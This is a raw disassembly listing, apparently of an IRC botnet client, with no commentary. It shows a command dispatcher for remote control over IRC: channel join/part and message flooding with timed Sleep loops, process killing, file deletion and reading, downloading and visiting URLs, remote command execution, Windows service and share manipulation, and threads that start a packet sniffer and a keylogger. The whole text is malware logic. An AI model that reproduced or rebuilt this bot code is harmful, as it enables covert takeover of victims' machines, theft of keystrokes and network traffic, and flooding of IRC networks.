lea eax, [ebp-1804h]
push eax
lea eax, [ebp-2C0h]
push offset dword_42CB10
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 24h
loc_40501E: ; CODE XREF: seg000:00404FBAj
; seg000:00404FC3j
push dword ptr [ebp+18h]
push offset dword_42CB04
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_405165
cmp [ebp+esi-88h], ebx
jz loc_405165
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
push offset aCyber ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 24h
call sub_41BAD2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 10h
call sub_41BAD2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 24h
call sub_41BAD2
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aPartSS ; "part %s %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
loc_405165: ; CODE XREF: seg000:0040502Fj
; seg000:0040503Cj
push dword ptr [ebp+18h]
push offset dword_42CB00
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_4051FF
cmp [ebp+esi-88h], ebx
jz short loc_4051FF
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
pop ecx
call sub_41BAD2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BAD2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BAD2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BAD2
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41BAD2
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp-2C0h]
push edx
push dword ptr [ebp+esi-88h]
push offset dword_42CAD8
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 24h
loc_4051FF: ; CODE XREF: seg000:00405176j
; seg000:00405183j
push dword ptr [ebp+18h]
push offset aNick_0 ; "nick"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_4052FC
mov eax, [ebp+esi-88h]
cmp eax, ebx
jz loc_4052FC
push eax
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
lea eax, [ebp-4B8h]
push eax
call sub_417B38
lea eax, [ebp-4B8h]
push eax
lea eax, [ebp-2C0h]
push offset dword_42CB10
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 24h
call sub_41BAD2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp-4B8h]
push eax
call sub_417B38
lea eax, [ebp-4B8h]
push eax
lea eax, [ebp-2C0h]
push offset dword_42CB10
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
call sub_41BAD2
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp-4B8h]
push eax
call sub_417B38
lea eax, [ebp-4B8h]
push eax
lea eax, [ebp-2C0h]
push offset dword_42CB10
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
loc_4052FC: ; CODE XREF: seg000:00405210j
; seg000:0040521Fj
push dword ptr [ebp+18h]
push offset aChgnick ; "chgnick"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_405342
lea eax, [ebp-17CCh]
push eax
call sub_417B38
lea eax, [ebp-17CCh]
push eax
lea eax, [ebp-2C0h]
push offset dword_42CB10
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
loc_405342: ; CODE XREF: seg000:0040530Dj
push dword ptr [ebp+18h]
push offset aMsg ; "msg"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_40542E
cmp [ebp+esi-88h], ebx
jz loc_40542E
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset dword_42CBA0
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 24h
call sub_41BAD2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset dword_42CBA0
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
call sub_41BAD2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset dword_42CBA0
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
loc_40542E: ; CODE XREF: seg000:00405353j
; seg000:00405360j
push dword ptr [ebp+18h]
push offset aNotice_0 ; "notice"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_40551A
cmp [ebp+esi-88h], ebx
jz loc_40551A
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 24h
call sub_41BAD2
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
call sub_41BAD2
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
loc_40551A: ; CODE XREF: seg000:0040543Fj
; seg000:0040544Cj
push dword ptr [ebp+18h]
push offset aCtcp ; "ctcp"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_40562E
cmp [ebp+esi-88h], ebx
jz loc_40562E
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset dword_42CA90
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 20h
call sub_41BAD2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset dword_42CA78
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 10h
call sub_41BAD2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset dword_42CA60
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 10h
call sub_41BAD2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset dword_42CA60
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 10h
loc_40562E: ; CODE XREF: seg000:0040552Bj
; seg000:00405538j
push dword ptr [ebp+18h]
push offset aMix ; "mix"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_405751
cmp [ebp+esi-88h], ebx
jz loc_405751
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset aJoinS ; "join %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C0h]
push offset dword_42CA90
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 20h
call sub_41BAD2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
call sub_41BAD2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
call sub_41BAD2
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNoticeSS_0 ; "NOTICE %s :%s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
loc_405751: ; CODE XREF: seg000:0040563Fj
; seg000:0040564Cj
push dword ptr [ebp+18h]
push offset aRegister ; "register"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_405797
mov eax, [ebp+esi-84h]
cmp eax, ebx
jz short loc_405797
push eax
lea eax, [ebp-2C0h]
push dword ptr [ebp+esi-88h]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41BA76
lea eax, [ebp-2C0h]
push eax
call sub_4177DF
add esp, 14h
loc_405797: ; CODE XREF: seg000:00405762j
; seg000:0040576Dj
push dword ptr [ebp+18h]
push offset aOff ; "off"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_406266
mov edi, offset dword_4D6C4C
loc_4057B3: ; CODE XREF: seg000:004057D2j
cmp dword ptr [edi-4], 1
jnz short loc_4057C6
mov eax, [edi]
cmp eax, ebx
jbe short loc_4057C6
push eax
call ds:dword_4CDC90 ; closesocket
loc_4057C6: ; CODE XREF: seg000:004057B7j
; seg000:004057BDj
add edi, 210h
cmp edi, offset dword_4DD36C
jl short loc_4057B3
cmp [ebp-8], ebx
jnz loc_406266
push ebx
push dword ptr [ebp-4]
push offset unk_42CA00
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_409966
add esp, 14h
jmp loc_406266
; ---------------------------------------------------------------------------
loc_4057FC: ; CODE XREF: seg000:00404CABj
mov edi, [ebp+10h]
push edi
push offset aNick_0 ; "nick"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409663
push edi
push offset aN ; "n"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409663
push edi
push offset aJoin ; "join"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40963F
push edi
push offset aJ ; "j"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40963F
push edi
push offset aPart_0 ; "part"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409622
push edi
push offset aPt ; "pt"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409622
push edi
push offset aRaw ; "raw"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4095E9
push edi
push offset aR ; "r"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4095E9
push edi
push offset aKillthread ; "killthread"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409537
push edi
push offset aK ; "k"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409537
push edi
push offset aC_quit ; "c_quit"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409489
push edi
push offset aC_q ; "c_q"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409489
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40943A
push edi
push offset aC_rn ; "c_rn"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_40943A
push edi
push offset aPrefix ; "prefix"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409421
push edi
push offset aPr ; "pr"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409421
push edi
push offset aOpen ; "open"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4093F3
push edi
push offset aO ; "o"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4093F3
push edi
push offset aS3rv3rfg ; "s3rv3rfg"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4093CA
push edi
push offset aS3rv3rfg2 ; "s3rv3rfg2"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4093CA
push edi
push offset aDns ; "dns"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409362
push edi
push offset aDn ; "dn"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409362
push edi
push offset aKillproc ; "killproc"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409332
push edi
push offset aKp ; "kp"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409332
push edi
push offset aKill ; "kill"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4092D3
push edi
push offset aKi ; "ki"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4092D3
push edi
push offset aDelete ; "delete"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409298
push edi
push offset aDel ; "del"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409298
push edi
push offset aGet ; "get"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4091B6
push edi
push offset aGt ; "gt"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4091B6
push edi
push offset aList ; "list"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409197
push edi
push offset aLi ; "li"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409197
push edi
push offset aVisit ; "visit"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4090B6
push edi
push offset aV ; "v"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_4090B6
push edi
push offset aMirccmd ; "mirccmd"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409040
push edi
push offset aMirc ; "mirc"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_409040
push edi
push offset aCmd ; "cmd"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408FEA
push edi
push offset aCm ; "cm"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408FEA
push edi
push offset aReadfile ; "readfile"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408F5F
push edi
push offset aRf ; "rf"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz loc_408F5F
push edi
push offset aPsniff ; "psniff"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_405C95
push dword ptr [ebp+18h]
push offset aOn ; "on"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_405C5B
push 20h
call sub_40B1B3
test eax, eax
pop ecx
jle short loc_405B89
push offset dword_42C8F0
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_405B89: ; CODE XREF: seg000:00405B7Dj
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-88h]
mov [ebp-0FE8h], eax
mov eax, [ebp-4]
mov [ebp-0F60h], eax
mov eax, [ebp-8]
cmp esi, ebx
mov [ebp-0F5Ch], eax
jnz short loc_405BCB
mov esi, offset aFa ; "#fa"
push offset dword_43FDB4
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_405BCB
mov esi, [ebp-88h]
loc_405BCB: ; CODE XREF: seg000:00405BADj
; seg000:00405BC3j
push esi
lea eax, [ebp-0FE4h]
push 80h
push eax
call sub_41BB70
lea eax, [ebp-2C0h]
push offset dword_42C8C0
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 20h
push eax
call sub_40AF71
add esp, 20h
mov [ebp-0F64h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0FE8h]
push ebx
push eax
push offset loc_412128
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-0F64h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_405C4E
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42C884
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_405C46: ; CODE XREF: seg000:00405C54j
push 32h
call ds:dword_428064 ; Sleep
loc_405C4E: ; CODE XREF: seg000:00405C33j
cmp [ebp-0F58h], ebx
jz short loc_405C46
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_405C5B: ; CODE XREF: seg000:00405B6Dj
push dword ptr [ebp+18h]
push offset aOff ; "off"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_406EA9
push ebx
push 20h
call sub_40B166
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C8B
push eax
push offset dword_42C848
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_405C8B: ; CODE XREF: seg000:00405C7Ej
push offset dword_42C81C
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_405C95: ; CODE XREF: seg000:00405B56j
push edi
push offset aSniffer ; "sniffer"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_405DE3
push dword ptr [ebp+18h]
push offset aOn ; "on"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_405DA9
push 21h
call sub_40B1B3
test eax, eax
pop ecx
jle short loc_405CD7
push offset unk_42C7F4
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_405CD7: ; CODE XREF: seg000:00405CCBj
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-88h]
mov [ebp-0EC0h], eax
mov eax, [ebp-4]
mov [ebp-0E38h], eax
mov eax, [ebp-8]
cmp esi, ebx
mov [ebp-0E34h], eax
jnz short loc_405D19
mov esi, offset aFa ; "#fa"
push offset dword_43FDB4
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_405D19
mov esi, [ebp-88h]
loc_405D19: ; CODE XREF: seg000:00405CFBj
; seg000:00405D11j
push esi
lea eax, [ebp-0EBCh]
push 80h
push eax
call sub_41BB70
lea eax, [ebp-2C0h]
push offset unk_42C7C4
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 21h
push eax
call sub_40AF71
add esp, 20h
mov [ebp-0E3Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0EC0h]
push ebx
push eax
push offset loc_4127AD
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-0E3Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_405D9C
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42C788
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_405D94: ; CODE XREF: seg000:00405DA2j
push 32h
call ds:dword_428064 ; Sleep
loc_405D9C: ; CODE XREF: seg000:00405D81j
cmp [ebp-0E30h], ebx
jz short loc_405D94
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_405DA9: ; CODE XREF: seg000:00405CBBj
push dword ptr [ebp+18h]
push offset aOff ; "off"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_406EA9
push ebx
push 21h
call sub_40B166
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DD9
push eax
push offset unk_42C748
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_405DD9: ; CODE XREF: seg000:00405DCCj
push offset unk_42C714
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_405DE3: ; CODE XREF: seg000:00405CA4j
push edi
push offset aKeylog ; "keylog"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_405F6B
push dword ptr [ebp+18h]
push offset aOn ; "on"
call sub_41C260
pop ecx
mov edi, offset aFile ; "file"
test eax, eax
pop ecx
jz short loc_405E59
push dword ptr [ebp+18h]
push edi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jz short loc_405E59
push dword ptr [ebp+18h]
push offset aOff ; "off"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_406EA9
push ebx
push 23h
call sub_40B166
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E4F
push eax
push offset dword_42C6C8
jmp loc_405F42
; ---------------------------------------------------------------------------
loc_405E4F: ; CODE XREF: seg000:00405E42j
push offset dword_42C69C
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_405E59: ; CODE XREF: seg000:00405E0Ej
; seg000:00405E1Dj
push 23h
call sub_40B1B3
test eax, eax
pop ecx
jle short loc_405E6F
push offset dword_42C67C
jmp loc_406E9B
; ---------------------------------------------------------------------------
loc_405E6F: ; CODE XREF: seg000:00405E63j
mov eax, [ebp+0Ch]
push dword ptr [ebp+18h]
mov [ebp-0C58h], eax
mov eax, [ebp-4]
push edi
mov [ebp-0BD0h], eax
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_405E9C
mov dword ptr [ebp-0BCCh], 1
jmp short loc_405EA5
; ---------------------------------------------------------------------------
loc_405E9C: ; CODE XREF: seg000:00405E8Ej
mov eax, [ebp-8]
mov [ebp-0BCCh], eax
loc_405EA5: ; CODE XREF: seg000:00405E9Aj
mov esi, [ebp+esi-88h]
cmp esi, ebx
jnz short loc_405ECC
mov esi, offset aBo_1 ; "#bo-"
push offset dword_43FDB4
push esi
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_405ECC
mov esi, [ebp-88h]
loc_405ECC: ; CODE XREF: seg000:00405EAEj
; seg000:00405EC4j
push esi
lea eax, [ebp-0C50h]
push 80h
push eax
call sub_41BB70
lea eax, [ebp-2C0h]
push offset dword_42C658
push eax
call sub_41BA76
push ebx
lea eax, [ebp-2C0h]
push 23h
push eax
call sub_40AF71
add esp, 20h
mov [ebp-0C54h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-0C58h]
push ebx
push eax
push offset loc_411E53
push ebx
push ebx
call ds:dword_42807C ; CreateThread
mov ecx, [ebp-0C54h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_440B4C[ecx], eax
jnz short loc_405F5E
call ds:dword_42808C ; RtlGetLastWin32Error
push eax
push offset dword_42C61C
loc_405F42: ; CODE XREF: seg000:00403BA4j
; seg000:004049D5j ...
lea eax, [ebp-2C0h]
push eax
call sub_41BA76
loc_405F4E: ; CODE XREF: seg000:004049CAj
; seg000:00406FF4j
add esp, 0Ch
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_405F56: ; CODE XREF: seg000:00405F64j
push 32h
call ds:dword_428064 ; Sleep
loc_405F5E: ; CODE XREF: seg000:00405F34j
cmp [ebp-0BC8h], ebx
jz short loc_405F56
jmp loc_406EA9
; ---------------------------------------------------------------------------
loc_405F6B: ; CODE XREF: seg000:00405DF2j
push edi
push offset aNet ; "net"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz loc_406212
cmp ds:dword_4CDCC4, ebx
jz short loc_405F9A
cmp ds:dword_4CDCEC, ebx
jz short loc_405F9A
push offset unk_42C5E0
jmp loc_4061FF
; ---------------------------------------------------------------------------
loc_405F9A: ; CODE XREF: seg000:00405F86j
; seg000:00405F8Ej
cmp [ebp-0Ch], ebx
jz loc_406C7F
mov edi, [ebp+esi-88h]
mov [ebp+8], ebx
cmp edi, ebx
jz short loc_405FBF
push edi
push dword ptr [ebp-0Ch]
call sub_41BAF0
pop ecx
mov [ebp+8], eax
pop ecx
loc_405FBF: ; CODE XREF: seg000:00405FAFj
push dword ptr [ebp+18h]
push offset aStart ; "start"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40602C
cmp edi, ebx
jz short loc_405FFA
push dword ptr [ebp+8]
push 3
loc_405FDB: ; CODE XREF: seg000:00406044j
; seg000:0040605Ej ...
call sub_4188AF
push eax
lea eax, [ebp-2C0h]
push offset aS_2 ; "%s"
push eax
call sub_41BA76
add esp, 14h
jmp loc_406C7F
; ---------------------------------------------------------------------------
loc_405FFA: ; CODE XREF: seg000:00405FD4j
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_418B56
add esp, 0Ch
test eax, eax
lea eax, [ebp-2C0h]
jz short loc_406022
push offset unk_42C5B4
jmp loc_406205
; ---------------------------------------------------------------------------
loc_406022: ; CODE XREF: seg000:00406016j
push offset unk_42C594
jmp loc_406205
; ---------------------------------------------------------------------------
loc_40602C: ; CODE XREF: seg000:00405FD0j
push dword ptr [ebp+18h]
push offset aStop ; "stop"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_406046
push dword ptr [ebp+8]
push 4
jmp short loc_405FDB
; ---------------------------------------------------------------------------
loc_406046: ; CODE XREF: seg000:0040603Dj
push dword ptr [ebp+18h]
push offset aPause ; "pause"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_406063
push dword ptr [ebp+8]
push 5
jmp loc_405FDB
; ---------------------------------------------------------------------------
loc_406063: ; CODE XREF: seg000:00406057j
push dword ptr [ebp+18h]
push offset aContinue ; "continue"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_406080
push dword ptr [ebp+8]
push 6
jmp loc_405FDB
; ---------------------------------------------------------------------------
loc_406080: ; CODE XREF: seg000:00406074j
push dword ptr [ebp+18h]
push offset aDelete ; "delete"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40609D
push dword ptr [ebp+8]
push 1
jmp loc_405FDB
; ---------------------------------------------------------------------------
loc_40609D: ; CODE XREF: seg000:00406091j
push dword ptr [ebp+18h]
push offset aShare ; "share"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_40611D
cmp edi, ebx
jz short loc_4060EA
cmp [ebp-8F8h], bl
jz short loc_4060C2
push ebx
push edi
push 1
jmp short loc_4060CB
; ---------------------------------------------------------------------------
loc_4060C2: ; CODE XREF: seg000:004060BAj
push dword ptr [ebp+esi-84h]
push edi
push ebx
loc_4060CB: ; CODE XREF: seg000:004060C0j
call sub_418C96
push eax
lea eax, [ebp-2C0h]
push offset aS_2 ; "%s"
push eax
call sub_41BA76
add esp, 18h
jmp loc_406C7F
; ---------------------------------------------------------------------------
loc_4060EA: ; CODE XREF: seg000:004060B2j
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_418E8B
add esp, 10h
test eax, eax
lea eax, [ebp-2C0h]
jz short loc_406113
push offset unk_42C54C
jmp loc_406205
; ---------------------------------------------------------------------------
loc_406113: ; CODE XREF: seg000:00406107j
push offset unk_42C52C
jmp loc_406205
; ---------------------------------------------------------------------------
loc_40611D: ; CODE XREF: seg000:004060AEj
push dword ptr [ebp+18h]
push offset aUser ; "user"
call sub_41C260
pop ecx
test eax, eax
pop ecx
jnz short loc_4061AE
cmp edi, ebx
jz short loc_406181
push dword ptr [ebp-4]
cmp [ebp-8F8h], bl
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
jz short loc_40614E
push ebx
push edi
push 1
jmp short loc_406162
; ---------------------------------------------------------------------------
loc_40614E: ; CODE XREF: seg000:00406146j
mov esi, [ebp+esi-84h]
cmp esi, ebx
jz short loc_40615E
push esi
push edi
push ebx
jmp short loc_406162
; ---------------------------------------------------------------------------
loc_40615E: ; CODE XREF: seg000:00406157j
push ebx
push edi
push 2
loc_406162: ; CODE XREF: seg000:0040614Cj
; seg000:0040615Cj
call sub_418FAC
push eax
lea eax, [ebp-2C0h]
push offset aS_2 ; "%s"
push eax
call sub_41BA76
add esp, 24h
jmp loc_406C7F
; ---------------------------------------------------------------------------
loc_406181: ; CODE XREF: seg000:00406132j
push ebx
push dword ptr [ebp-4]
push dword ptr [ebp-88h]
push dword ptr [ebp+0Ch]
call sub_4194C0
add esp, 10h
test eax, eax
lea eax, [ebp-2C0h]
jz short loc_4061A7
push offset unk_42C50C
jmp short loc_406205
; ---------------------------------------------------------------------------
loc_4061A7: ; CODE XREF: seg000:0040619Ej
push offset unk_42C4EC
jmp short loc_406205
; ---------------------------------------------------------------------------
